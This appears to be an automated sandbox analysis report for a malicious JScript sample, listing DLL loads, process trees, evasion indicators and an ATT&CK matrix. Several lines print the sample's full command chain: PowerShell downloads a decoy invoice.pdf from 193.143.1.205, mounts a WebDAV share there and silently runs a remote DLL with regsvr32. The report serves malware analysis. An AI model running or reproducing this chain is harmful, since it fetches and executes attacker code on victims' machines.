Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6678.js.csv");ITextStream.WriteLine(" entry:8750 f:bsfvub");ITextStream.WriteLine(" exec:2 f:bsfvub");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49711

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4607			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5272			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1764	Thread sleep count: 4607 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1764	Thread sleep count: 5272 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1756	Thread sleep time: -13835058055282155s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 828	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3792	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4232	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2177048744.000001B78D338000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@f:
Source: net.exe, 00000007.00000003.2175486630.000001B78D3A1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2184699013.000001B78D3A1000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW[
Source: net.exe, 00000007.00000003.2175486630.000001B78D3A1000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2184699013.000001B78D3A1000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3407691646.0000023852858000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3407640068.0000023852847000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3406055703.000002385142B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW *

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\250243003412060.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
